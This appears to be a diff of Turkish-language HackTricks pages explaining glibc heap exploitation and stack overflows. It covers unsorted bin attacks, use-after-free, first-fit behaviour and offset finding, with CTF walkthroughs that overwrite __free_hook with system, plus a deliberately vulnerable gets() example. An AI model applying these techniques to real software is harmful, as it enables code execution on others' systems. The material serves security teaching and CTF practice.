+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Sıralanmamış bir liste, bir parçanın `bk` adresindeki `sıralanmamış_parçalar (av)` adresini yazabilmektedir. Bu nedenle, bir saldırgan bir parçadaki `bk` işaretçisinin adresini değiştirebilirse, bu adresi rastgele bir adrese yazabilir ve bu, bir libc adresini sızdırmak veya bazı savunmaları atlamak için yardımcı olabilir.
+
+Yani, temelde bu saldırı, **bazı rastgele adresleri büyük bir sayıyla üzerine yazmaya izin verdi** (bir heap adresi veya bir libc adresi olabilecek bir adres) ve sızdırılabilecek bir yığın adresi veya global değişken gibi bazı kısıtlamaları (örneğin **`global_max_fast`**) geçmek için hızlı binlerle daha büyük boyutlarda hızlı binler oluşturmaya izin vermek için bir sıralanmamış bin saldırısından hızlı bir bin saldırısına geçmeye olanak tanır.
+
+{% hint style="success" %}
+[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) adresinde sağlanan örneğe bakarak ve 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanarak (tcaches'i önlemek için) günümüzde **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`** hatasının tetiklendiğini görebilirsiniz.
+
+Bu nedenle, bu sıralanmamış bin saldırısı artık (diğer kontroller arasında) çift bağlantılı listeyi düzeltme yeteneğine de sahip olmalıdır, böylece bu, `victim->bck->fd == victim` veya `victim->fd == av (arena)` olmalıdır. Bu, yazmak istediğimiz adresin, sahte parçanın `fd` konumunda sahte parçanın adresini ve sahte parçanın `fd`'sinin arenaya işaret etmesi gerektiği anlamına gelir.
+{% endhint %}
+
+{% hint style="danger" %}
+Bu saldırının sıralanmamış binleri (küçük ve büyük olanları da) bozduğunu unutmayın. Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsis yapmalıyız veya program çökecektir.**
+
+Bu durumda **`global_max_fast`** yapmak, hızlı binin tüm diğer tahsislerle ilgileneceğine güvenmek bu durumda yardımcı olabilir ve saldırı tamamlandığında hızlı bir bin saldırısına geçmek mümkün olacaktır.
+{% endhint %}
+
+[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) tarafından sağlanan kod bunu çok iyi açıklıyor, ancak malloc'ları tcache'e sona ermemesi için yeterince büyük bellek ayırmak için değiştirirseniz, önce bahsedilen hata ortaya çıkar ve bu tekniği engeller: **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`**
+
+## Sıralanmamış Bin Bilgi Sızdırma Saldırısı
+
+Bu aslında çok temel bir kavramdır. Sıralanmamış bindeki parçalar, bin oluşturmak için çift işaretçilere sahip olacaklardır. Sıralanmamış bindeki ilk parça aslında **FD** ve **BK** bağlantılarını **ana arenanın (libc)** bir kısmına işaret edecek şekilde olacaktır.\
+Bu nedenle, bir parçayı sıralanmamış bir bine yerleştirebilir ve onu okuyabilirsiniz (kullanımdan sonra serbest bırakma) veya en azından 1 işaretçiyi üzerine yazmadan tekrar tahsis edebilir ve ardından onu okuyabilirseniz, bir **libc bilgi sızıntısı** elde edebilirsiniz.
+
+Bu yazıda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), 4 parçalı bir yapıyı (A, B, C ve D - D yalnızca üst parçayla birleşmeyi önlemek için) kötüye kullanmaktı, böylece B'de bir null bayt taşması kullanılarak C'nin B'nin kullanılmadığını göstermesi sağlandı. Ayrıca, B'de `prev_size` verisi değiştirildi, böylece boyut B'nin boyutu değil, A+B oldu.\
+Ardından C serbest bırakıldı ve A+B ile birleştirildi (ancak B hala kullanımda idi). A boyutunda yeni bir parça tahsis edildi ve ardından sızdırılan libc adresleri B'ye yazıldı ve oradan sızdırıldı.
+
+## Referanslar ve Diğer Örnekler
+
+* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
+* Amacı, bir global değişkeni 4869'dan büyük bir değerle üzerine yazmak ve bayrağı almak ve PIE etkin değil.
+* Keyfi boyutlarda parçalar oluşturulabilir ve istenen boyutta bir yığın taşması vardır.
+* Saldırı, 3 parça oluşturarak başlar: taşmayı kötüye kullanmak için chunk0, taşmayla karşılaşacak chunk1 ve önceki parçaların birleşmesini önlemek için chunk2.
+* Ardından, chunk1 serbest bırakılır ve chunk0 taşarılır, böylece chunk1'in `bk` işaretçisi şuna işaret eder: `bk = magic - 0x10`
+* Ardından, chunk1 ile aynı boyutta chunk3 tahsis edilir, bu da sıralanmamış bin saldırısını tetikleyecek ve global değişkenin değerini değiştirecek ve bayrağı almayı mümkün kılacaktır.
+* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
+* Birleştirme işlevi, geçilen her iki dizin de aynı olduğunda onu yeniden boyutlandıracağı ve ardından serbest bırakacağı ancak o serbest bırakılan bölgeye bir işaretçi döndüreceği için savunmasızdır.
+* Bu nedenle, **2 parça oluşturulur**: **chunk0** kendisiyle birleştirilecek ve üst parçayla birleşmesini önlemek için chunk1. Ardından, **birleştirme işlevi chunk0 ile iki kez çağrılır**, bu da kullanımdan sonra serbest bırakma hatasına neden olur.
+* Ardından, **`view`** işlevi kullanımdan sonra serbest bırakılan parçanın dizini olan 2 ile çağrılır, bu da bir libc adresi sızdırır.
+* Binanın sadece **`global_max_fast`**'tan büyük boyutlarda malloc yapmasına izin veren korumaları olduğundan, hızlı bin kullanılmaz, bu nedenle sıralanmamış bin saldırısı, global değişken `global_max_fast`'ın üzerine yazılmasında kullanılacaktır.
+* Ardından, kullanımdan sonra serbest bırakılan işaretçi olan dizin 2 ile edit işlevi çağrılabilir ve `bk` işaretçisinin `p64(global_max_fast-0x10)`'a işaret etmesi sağlanabilir. Ardından, yeni bir parça oluşturulduğunda önceki tehlikeye atıfta bulunan serbest bırakma adresi (0x20) kullanılacak ve **sıralanmamış bin saldırısı tetiklenecek** ve `global_max_fast`'ı çok büyük bir değerle üzerine yazarak artık hızlı binlerde parçalar oluşturulabilecektir.
+* Şimdi bir **hızlı bin saldırısı** gerçekleştirilir:
+* İlk olarak, **200 boyutunda hızlı parçalarla çalışılabileceği** ve **`__free_hook`** konumunda olduğu keşfedilir:
+* <pre class="language-c"><code class="lang-c">gef➤  p &#x26;__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+<strong>0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+</strong>0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f &#x3C;list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+</code></pre>
+* Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir işaretçiyi üzerine yazmak mümkün olacaktır
+* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş işlev bu işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçada boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır.
+* Ardından, bu parçada **`fd`** adresini önceki **`__free_hook`** işlevine işaret etmek için düzenleme işlevi çağrılır.
+* Daha sonra, hızlı parçadan önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** işlevinin adresiyle üzerine yazılmış bir hızlı parça parçası alınır.
+* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme işlevi çağrılır, **`__free_hook`** işlevini tetikleyerek `/bin/sh\x00` parametresiyle sistem işlevine işaret eder.
+* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
+* Unsorted binde bir 1B taşma kullanarak parçaları birleştirme ve bir libc bilgi sızıntısı alarak ardından malloc kancasını bir tek araç adresiyle üzerine yazmak için hızlı parça saldırısı gerçekleştirmenin başka bir örneği
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* 💬 **Discord grubuna** katılın [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+
+</details>

binary-exploitation/libc-heap/use-after-free/README.md

@@ -0,0 +1,44 @@
+# Kullanımdan Sonra Ücretsiz
+
+<details>
+
+<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
+
+</details>
+
+## Temel Bilgiler
+
+Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te bir alan **ayırdığı**, oraya **bazı bilgiler yazdığı**, artık gerekli olmadığı için onu **serbest bıraktığı** ve ardından **tekrar eriştiğinde** meydana gelir.
+
+Buradaki sorun, bir **serbest bırakılan belleğe erişildiğinde** (burada **hata olmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi veri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verinin üzerine yazılmış olması nedeniyle **orijinalde depolanan verinin hassasiyetine bağlı olarak bir zafiyet oluşacaktır** (eğer çağrılacak bir işlevin işaretçisi ise, saldırgan onu kontrol edebilir).
+
+### İlk Uygun Saldırı
+
+İlk uygun saldırı, bazı bellek tahsis edicilerin, örneğin glibc'de, serbest bırakılan belleği nasıl yönettiğini hedefler. Bir bellek bloğunu serbest bıraktığınızda, bu blok bir liste eklenir ve yeni bellek istekleri bu listeden sona doğru çeker. Saldırganlar, **hangi bellek bloklarının yeniden kullanılacağını manipüle etmek için bu davranışı kullanabilir**, potansiyel olarak bunlar üzerinde kontrol kazanabilir. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra ücretsiz" sorunlarına yol açabilir, böylece bir güvenlik riski oluşturabilir.\
+Daha fazla bilgi için:
+
+{% content-ref url="first-fit.md" %}
+[first-fit.md](first-fit.md)
+{% endcontent-ref %}
+
+<details>
+
+<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
+
+</details>

binary-exploitation/libc-heap/use-after-free/first-fit.md

@@ -0,0 +1,72 @@
+# İlk Uygun
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## **İlk Uygun**
+
+Glibc kullanarak bir programda belleği serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İşte iki yaygın senaryonun basitleştirilmiş bir açıklaması: sıralanmamış kutular ve hızlı kutular.
+
+### Sıralanmamış Kutular
+
+Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu parça sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların önüne (başa) eklendiği bir liste gibi davranır. Yeni bir bellek parçası istediğinizde, tahsisatçı, isteğiniz için yeterince büyük bir parça bulmak için sıralanmamış kutuya arkadan (kuyruk) bakar. Eğer sıralanmamış kutudan bir parça ihtiyacınızdan büyükse, bölünür; ön kısmı geri döndürülür ve geri kalan kısım kutuda kalır.
+
+Örnek:
+
+* 300 bayt (`a`) tahsis edersiniz, ardından 250 bayt (`b`) tahsis edersiniz, `a`'yı serbest bırakırsınız ve tekrar 250 bayt (`c`) istersiniz.
+* `a`'yı serbest bıraktığınızda, sıralanmamış kutuya gider.
+* Sonra tekrar 250 bayt isterseniz, tahsisatçı `a`'yı kuyrukta bulur ve bölerek, isteğinize uygun olan kısmı geri döndürür ve geri kalanı kutuda tutar.
+* `c`, önceki `a`'ya işaret edecek ve `a`'ların içeriğiyle dolacaktır.
+```c
+char *a = malloc(300);
+char *b = malloc(250);
+free(a);
+char *c = malloc(250);
+```
+### Fastbins
+
+Fastbins küçük bellek parçaları için kullanılır. Sıralanmamış kovaların aksine, fastbins yeni parçaları başa ekler ve son giren-ilk çıkan (LIFO) davranışını oluşturur. Eğer küçük bir bellek parçası isterseniz, ayırıcı fastbin'in başından alacaktır.
+
+Örnek:
+
+* 20 baytlık dört parça (`a`, `b`, `c`, `d`) ayırırsınız.
+* Onları herhangi bir sırayla serbest bıraktığınızda, serbest bırakılan parçalar fastbin'in başına eklenir.
+* Sonra 20 baytlık bir parça isterseniz, ayırıcı en son serbest bırakılan parçayı fastbin'in başından döndürecektir.
+```c
+char *a = malloc(20);
+char *b = malloc(20);
+char *c = malloc(20);
+char *d = malloc(20);
+free(a);
+free(b);
+free(c);
+free(d);
+a = malloc(20);   // d
+b = malloc(20);   // c
+c = malloc(20);   // b
+d = malloc(20);   // a
+```
+## Diğer Referanslar ve Örnekler
+
+* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
+* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
+* ARM64. Use after free: Bir kullanıcı nesnesi oluştur, serbest bırak, serbest bırakılan parçayı alan bir nesne oluştur ve ona yazma izni ver, **öncekinin konumunu kullanıcı->şifre ile değiştir**. Kullanıcıyı tekrar kullanarak **şifre kontrolünü atla**
+* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
+* Program notlar oluşturmaya izin verir. Bir not, malloc(8) içinde not bilgisine (çağrılabilecek bir işlev işaretçisi ile) ve notun içeriğine sahip başka bir malloc(\<boyut>) işaretçisine sahip olacaktır.
+* Saldırı, not bilgi boyutundan daha büyük malloc içeriğine sahip 2 not (not0 ve not1) oluşturmak ve ardından bunları serbest bırakarak hızlı bin (veya tcache) içine almaktır.
+* Sonra, içerik boyutu 8 olan başka bir not (not2) oluşturun. İçerik, not1'de olacak çünkü parça yeniden kullanılacak, işlev işaretçisini win işlevine işaret etmesi için değiştirebileceğimiz yer ve ardından not1'i Use-After-Free yaparak yeni işlev işaretçisini çağırmak.
+* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
+* Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden boyutlandırmak mümkündür ve önceki veriler hala orada olduğundan, parçadaki yeni beklenen yapıya göre işlem görecektir, böylece değeri ayarlamak veya bayrağı almak mümkün olacaktır.
+* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
+* Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu ilk ayrılan parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni ayrılan parçada, dizin içindeki numarası saklanır. Sonra, 4 parça (+ başlangıçta ayrılan) tahsis edin, sonuncusu içinde 4 olacak şekilde, onları serbest bırakın ve ilk parçanın yeniden tahsisini zorlayın, bu da içinde 4 olan son serbest bırakılan parçayı kullanacaktır.

binary-exploitation/stack-overflow/README.md

@@ -2,29 +2,29 @@
 
 <details>
 
-<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
 
 HackTricks'ı desteklemenin diğer yolları:
 
 * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
 * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
 
 </details>
 
 ## Stack Overflow Nedir
 
-Bir **yığın taşması (stack overflow)**, bir programın yığına ayrılan kapasiteden daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazarak** geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olabilir. Bu sorun genellikle, giriş üzerinde sınırların kontrol edilmediği güvenli olmayan işlevlerin kullanılmasından kaynaklanır.
+Bir **stack overflow** (yığın taşması), bir programın yığına ayrılan alanın kapasitesinden fazla veri yazdığı bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazacak**, geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olacaktır. Bu sorun genellikle, giriş üzerinde sınırlar kontrolü yapmayan güvensiz işlevlerin kullanılmasından kaynaklanır.
 
-Bu üzerine yazma sorununun ana nedeni, **kaydedilmiş komut işaretçisi (EIP/RIP)** ve **kaydedilmiş taban işaretçisi (EBP/RBP)**'nin önceki işleve geri dönüş için **yığında depolanmasıdır**. Bu nedenle, bir saldırgan bunları üzerine yazarak programın yürütme akışını **kontrol edebilir**.
+Bu üzerine yazma işleminin ana sorunu, **kaydedilmiş komut işaretçisi (EIP/RIP)** ve **kaydedilmiş taban işaretçisi (EBP/RBP)**'nin önceki işleve geri dönüş için **yığında depolanmasıdır**. Bu nedenle, bir saldırgan bunları üzerine yazabilir ve programın **yürütme akışını kontrol edebilir**.
 
-Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarın üzerinde bayt kopyaladığı** için ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.
+Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarından daha fazla bayt kopyaladığı** için ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.
 
-Bu duruma duyarlı bazı yaygın işlevler: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, uzunluk argümanı alan **`fgets`**, **`read` & `memcpy`** gibi işlevler, belirtilen uzunluğun ayrılan uzunluktan büyük olduğu durumlarda duyarlı bir şekilde kullanılabilir.
+Bu zafiyete duyarlı olan bazı yaygın işlevler: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, bir **uzunluk argümanı alan** **`fgets`**, **`read` & `memcpy`** gibi işlevler, belirtilen uzunluğun ayrılan uzunluktan büyük olduğu durumlarda zafiyetli bir şekilde kullanılabilir.
 
-Örneğin, aşağıdaki işlevler duyarlı olabilir:
+Örneğin, aşağıdaki işlevler zafiyete açık olabilir:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -33,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Stack Taşmaları Ofsetlerini Bulma
+### Stack Overflow Ofsetlerini Bulma
 
-Stack taşmalarını bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **erişilmeye çalışılan adresin `0x41414141` olduğunu gösteren** bir `Segmentation Fault` almayı beklemektir.
+Yığın taşmalarını bulmanın en yaygın yolu, çok büyük bir `A` girişi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **erişilmeye çalışılan adresin `0x41414141` olduğunu gösteren** bir `Segmentation Fault` beklemektir.
 
-Ayrıca, Stack Overflow zafiyetinin bulunduğunu keşfettikten sonra, **dönüş adresini üzerine yazabileceğiniz ofseti bulmanız gerekecektir**, bunun için genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez** ardışık bir alt dizi olarak göründüğü döngüsel bir dizidir.
+Ayrıca, Yığın Taşma açığı bulduğunuzda, genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez** ardışık bir alt dizi olarak göründüğü döngüsel bir dizidir.
 
-Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini el ile bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazmayı bitiren baytların ofsetini bulmak mümkündür.
+Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini el ile bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazılan baytların ofsetini bulmak mümkündür.
 
 Bunun için genellikle **pwntools** kullanılabilir:
 ```python
@@ -60,16 +60,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Stack Overflow Sömürme
+## Yığın Taşmalarını Sömürme
 
-Taşma gerçekleştiğinde (taşma boyutu yeterince büyükse) yığın içindeki yerel değişkenlerin değerlerini **üzerine yazabilirsiniz** ve kaydedilmiş **EBP/RBP ve EIP/RIP'yi (hatta daha fazlasını)** bulana kadar devam edebilirsiniz.\
+Taşma sırasında (taşma boyutu yeterince büyükse) yığın içindeki yerel değişkenlerin değerlerini **üzerine yazabilirsiniz** ve kaydedilmiş **EBP/RBP ve EIP/RIP'yi (hatta daha fazlasını)** bulana kadar.\
-Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirerek** işlev sona erdiğinde **kontrol akışını kullanıcının belirttiği yere yönlendirmektir**.
+Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece işlev bittiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilir**.
 
-Ancak, diğer senaryolarda belki sadece **yığında bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
+Ancak, diğer senaryolarda belki sadece **yığında bazı değişken değerlerini üzerine yazmak** yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
 
 ### Ret2win
 
-Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağrmanız gereken bir işlev** olan bir **işlev** **binary içinde** bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır) yeterlidir, böylece zafiyetli işlev döndüğünde gizli işlev çağrılacaktır:
+Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** bulunan ve **çağrılması gereken bir işlev** bulunmaktadır. Bu zorluklarda sadece **dönüş adresini üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız yeterlidir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), bu sayede zafiyetli işlev döndüğünde gizli işlev çağrılacaktır:
 
 {% content-ref url="ret2win/" %}
 [ret2win](ret2win/)
@@ -77,7 +77,7 @@ Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağrma
 
 ### Yığın Kabuk Kodu
 
-Bu senaryoda saldırgan, bir kabuk kodunu yığına yerleştirebilir ve kontrol edilen EIP/RIP'yi kabuk koduna atlamak ve keyfi kodu yürütmek için kullanabilir:
